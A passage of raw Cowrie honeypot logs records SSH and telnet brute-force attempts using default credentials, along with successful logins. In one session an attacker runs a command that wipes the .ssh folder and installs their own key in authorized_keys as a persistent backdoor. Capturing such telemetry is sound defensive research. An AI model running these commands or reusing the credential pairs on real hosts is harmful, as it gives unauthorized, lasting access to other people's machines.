penssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:23.837821Z","src_ip":"176.65.132.254","session":"fc68400fe524","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin","message":"login attempt [sysadmin/sysadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:24.083920Z","src_ip":"176.65.132.254","session":"fc68400fe524","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:25.279997Z","src_ip":"176.65.132.254","session":"fc68400fe524","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.23704719543457,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:27.469858Z","src_ip":"134.209.8.29","session":"512302bb8846","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.43","src_port":51472,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4f9bfef07da","protocol":"ssh","message":"New connection: 147.185.132.43:51472 (10.17.0.5:22) [session: e4f9bfef07da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:27.864060Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":36290,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcb591fd3090","protocol":"ssh","message":"New connection: 176.65.132.254:36290 (10.17.0.5:22) [session: fcb591fd3090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:27.883505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:27.954811Z","src_ip":"176.65.132.254","session":"fcb591fd3090","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:28.016451Z","src_ip":"147.185.132.43","session":"e4f9bfef07da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:28.183412Z","src_ip":"176.65.132.254","session":"fcb591fd3090","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Aa123456","message":"login attempt [user/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:28.452021Z","src_ip":"176.65.132.254","session":"fcb591fd3090","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:29.546426Z","src_ip":"176.65.132.254","session":"fcb591fd3090","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.437045335769653,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:30.528397Z","src_ip":"134.209.8.29","session":"7ea699b58d84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":41532,"dst_ip":"10.17.0.5","dst_port":22,"session":"486fb08c2d92","protocol":"ssh","message":"New connection: 176.65.132.254:41532 (10.17.0.5:22) [session: 486fb08c2d92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:32.269238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:32.274187Z","src_ip":"176.65.132.254","session":"486fb08c2d92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:32.355905Z","src_ip":"176.65.132.254","session":"486fb08c2d92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwert","message":"login attempt [root/12345qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:32.644921Z","src_ip":"176.65.132.254","session":"486fb08c2d92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:33.746059Z","src_ip":"176.65.132.254","session":"486fb08c2d92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.68.83.105","src_port":54710,"dst_ip":"10.17.0.5","dst_port":22,"session":"70f722ab05cf","protocol":"ssh","message":"New connection: 186.68.83.105:54710 (10.17.0.5:22) [session: 70f722ab05cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:35.943468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:35.975961Z","src_ip":"186.68.83.105","session":"70f722ab05cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:36.062072Z","src_ip":"186.68.83.105","session":"70f722ab05cf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Root1234","message":"login attempt [oracle/Root1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:36.423256Z","src_ip":"186.68.83.105","session":"70f722ab05cf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:36.659896Z","src_ip":"186.68.83.105","session":"70f722ab05cf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:36.663800Z","src_ip":"186.68.83.105","session":"70f722ab05cf","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:36.669212Z","src_ip":"186.68.83.105","session":"70f722ab05cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":41560,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e3b878b009b","protocol":"ssh","message":"New connection: 176.65.132.254:41560 (10.17.0.5:22) [session: 3e3b878b009b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:36.685458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:36.690226Z","src_ip":"176.65.132.254","session":"3e3b878b009b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:36.772279Z","src_ip":"176.65.132.254","session":"3e3b878b009b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:36.790675Z","src_ip":"186.68.83.105","session":"70f722ab05cf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:37.018103Z","src_ip":"186.68.83.105","session":"70f722ab05cf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:37.021663Z","src_ip":"186.68.83.105","session":"70f722ab05cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:37.042534Z","src_ip":"176.65.132.254","session":"3e3b878b009b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:37.134791Z","src_ip":"186.68.83.105","session":"70f722ab05cf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:37.139213Z","src_ip":"186.68.83.105","session":"70f722ab05cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.68.83.105","src_port":54722,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e6c55fb510f","protocol":"ssh","message":"New connection: 186.68.83.105:54722 (10.17.0.5:22) [session: 1e6c55fb510f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:37.218233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:37.230284Z","src_ip":"186.68.83.105","session":"1e6c55fb510f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:37.315487Z","src_ip":"186.68.83.105","session":"1e6c55fb510f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:37.811349Z","src_ip":"186.68.83.105","session":"1e6c55fb510f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:38.292075Z","src_ip":"176.65.132.254","session":"3e3b878b009b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:38.902951Z","src_ip":"186.68.83.105","session":"1e6c55fb510f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.68.83.105","src_port":54732,"dst_ip":"10.17.0.5","dst_port":22,"session":"782dbe064b9b","protocol":"ssh","message":"New connection: 186.68.83.105:54732 (10.17.0.5:22) [session: 782dbe064b9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:38.986854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:38.999234Z","src_ip":"186.68.83.105","session":"782dbe064b9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:39.083744Z","src_ip":"186.68.83.105","session":"782dbe064b9b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:39.427186Z","src_ip":"186.68.83.105","session":"782dbe064b9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:39.518962Z","src_ip":"186.68.83.105","session":"782dbe064b9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:39.524363Z","src_ip":"186.68.83.105","session":"70f722ab05cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":41606,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6d370c3e2b6","protocol":"ssh","message":"New connection: 176.65.132.254:41606 (10.17.0.5:22) [session: d6d370c3e2b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:41.052886Z"}
